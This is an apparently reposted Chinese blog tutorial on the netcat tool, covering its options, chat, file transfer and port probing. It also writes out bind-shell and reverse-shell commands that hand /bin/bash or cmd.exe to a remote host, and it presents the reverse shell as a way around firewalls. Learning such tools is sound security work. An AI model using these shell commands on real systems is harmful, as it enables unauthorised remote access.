netcat、nc工具隨記


  netcat素有`瑞士軍刀之稱`,短小精悍,只有幾百k大小,但是可以干很多事

  netcat又稱nc工具,其最主要的作用就是建立連接並返回兩個數據流,剩下的就看各位的想象力了,想象力是很重要的,這也是這個工具的強大之處的所在,所以重要的東西才要說三遍,想象力!

 

1. kali中自帶nc工具,windows系統使用nc攻擊有兩種方法:

在cmd下打開文件安裝位置使用

把文件路徑放到環境變量中,就可在cmd的任何路徑下使用

 

 

2. nc版本不同,命令也會有細小差別,但是大體上差不多,通過 nc -h 來獲取幫助信息,具體參數如下:

 

-d                              無命令行界面,使用后台模式
-e prog                     程序重定向,一旦連接,就執行 [危險!!],(可以理解為向外發送一個東西,對方連上自動執行)
-g gateway               源路由跳躍點,不超過8
-G num                     源路由指示器:4,8,12.。。。。。
-h                              獲取幫助信息
-i<延遲秒數>            延時設置,端口掃描時使用
-l                              監聽入站信息
-L                             監聽知道NetCat被結束(可斷開重連)
- n                            以數字形式表示的IP地址,不要使用DNS反向查詢IP地址的域名
- o<輸出文件>         可以將連接上往來傳輸的數據以16進制的形式記錄到logfile中(每行的左半部分是16進制顯示,右半部分為ascii顯示)。其中,

每行的第一個字符為”<”或”>”,分別表示接收的數據或發送的數據。

- p post                   打開本地端口
- r                           隨機本地和遠程的端口
- s addr                  本地源地址
- t                           以TELNET的形式應答入站請求
- u                          用UDP建立連接
- v                          顯示詳細信息[使用-vv獲取更信息的信息]
- w<超時秒數>      連接超時設置
- z                          I/O模式[掃描時使用],連接成功后立即關閉連接, 不進行數據交換
端口號可以是單個的或者存在一個范圍: m-n[包含值]

 

 

功能:

 

我們可以用他來做聊天工具:

nc -l -p 6666      監聽6666端口,並顯示詳細信息

nc 192.168.1.192 6666    連接192.168.1.192(為測試用的靶機)6666端口

在沒有一些聊天工具的情況下,而恰巧又在同一局域網中,我們又想聊天的話,就可以通過這種方法。

打開一台計算機的某個端口,讓其他人都可以連進來,這樣我們就可以進行實時聊天,而且支持多用戶喲

當然這條命令也是nc工具的高級使用技巧的基礎

 

3. 個人理解,nc工具通過連接到某一端口,從而和對方計算機進行通信,從而可以利用這一特性來做一下復雜的事情

如:建立正向連接,把某個文件發送出去

nc -vlp 6666 -e /bin/bash      監聽6666端口,然后把/bin/bash文件發送出去,只要有人連接此端口,對方就執行/bin/bash文件,此文件為linux的shell,windows對應的是nc -e C:\Windows\System32\cmd.exe

nc -vv 192.168.1.192 6666       連接對方6666端口,連接上就自動執行/bin/bash命令

 

4. 但是如果設備有防火牆的話,那么防火牆會阻止對方連接到本機,因為防火牆會把其當做是病毒所留的后門程序,從而斷開連接

所以我們可以換一種思路,可以連接對方,然后把文件發送給對方,在防火牆看來這個行為是用戶的操作,不會加以阻攔,從而可以繞過防火牆,那么我們就采用反向連接,把自己的文件發送給對方

nc -lv -p 6666         

nc -v -e /bin/bash192.168.1.187 6666 

 

 

 5. 我們始終要記住,nc最主要功能就是監聽端口,只不過一些高級功能就是對此功能的再度開發利用

比如上面是把文件發送給對方執行,那我們完全可以利用這個思想來發送文件

nc -l -p 6666 < ./1.txt -q 2      把1.txt這個文件發送到6666端口中,如果命令執行成功,那么兩秒后自動關閉連接

nc -v 192.168.1.192 6666 > c:/1.txt  連接6666端口,把接收到的數據寫入到1.txt中

其實nc不光可以保持txt文件,還可以保存所有格式的文件,因為存在編碼問題,所有只要兩邊的后綴名保持一樣那么文件就可以正常執行

 

 

6. 其實上面的例子和本文第一個例子的原理是一樣的,都是建立連接,然后發送數據,只不過一個是手動打,一個是發送數據

我們再舉一反三:

在本機輸入命令,然后把命令的結果通過管道發送到6666端口

 

只要開闊思維,利用nc和一些其他工具就可以發揮出意想不到的結果

 

7. 就比如我們可以利用nc會連接對方端口的特性,來掃描對方開放的端口

nc -v 192.168.1.192 80    連接對方80端口,80端口默認是http協議的端口,如果對方開了80端口,那么就會連接上,反正連接不上

所以我們利用此原理探測對方開了哪些端口

 

 

nc 之所以這么強大,就是因為他的可擴展性,可以配合其他東西發揮出巨大的作用

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM